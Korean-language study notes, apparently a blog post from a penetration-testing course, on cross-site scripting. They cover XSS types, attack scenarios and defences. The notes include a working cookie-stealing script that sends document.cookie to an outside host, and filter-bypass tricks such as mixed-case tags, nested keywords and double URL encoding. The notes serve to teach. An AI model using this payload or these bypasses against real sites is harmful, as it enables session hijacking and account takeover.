klaus

[week_6] XSS 본문

수업/모의해킹

[week_6] XSS

klus! 2022. 11. 25. 17:24

0. 들어가기

[스터디]
- XSS (2/2)
: 
세션 탈취
: 키로거 삽입 

: 대응 방안

모의해킹 직무 연봉

1. XSS 

>  클라이언트 측 스크립트 삽입하는 공격

> 클라이언트 측 웹 브라우저에서 실행되는 공격

 

2. XSS 종류 및 포인트

종류별 내용 정리가 필요

- STORED XSS 

  > HTML, DB

 

- Reflected XSS

 > 링크(URL)

 *공격 링크를 만드는 방식

 

- DOM Based XSS

> 클라이언트 측에서 조립되는 방식

> Document.write() : html, js

 

※ XSS Point

<script>alert(1);</script>

자바 스크립트의 특징을 이용

3. XSS 공격 시나리오

Step 1. 세션(session) 탈취

<script> 

document.write('<img src="http://normaltic.com/?'+document.cookie+'  "/>');

</script>

Step2. HTML Injection

 

Step 3. KeyLogger 삽입
javascript keylogger

 

Step4. Miner 실행
> javascript miner
> xss miner

Step5. Redrect (phisging)

4. XSS 필터링 우회

- Client Side 검증

> Javascript

 

- Black List 키워드 필터링

> 대소문자 혼합 ScRipt

>  키워드 반복 <scrscriptipt>

* URL Double Encoding " -> %22 -> %2522

%2522 -> %22 -> "

-  HTML 특수 문자를 HTML Enitiy 치환
<input>
  &lt; &gt;
예외 ) HTML Editor
<img><script>~~~
Step 1. 사용자 입력에서 모든 HTML 특수 문자들을 HTML Entity로 치환
&lt;img&gt;&lt;script&gt;~~~
Step 2. 살려줄 Tag , 화이트리스트 기반 살려줄 태그들을 다시 살려준다.
img , div
<img onerror>&lt;script&gt;~~~
Step 3. 스크립트 실행이 가능한(제한해야 할) Event Handler 블랙리스트 기반으로 필터링! 
<img onxxror>&lt;script&gt;~~~

 

- White List XSS 필터링

- 보안 라이브러리 사용

- Black List 기반 필터링

- 보안 정책 CSP

 

Comments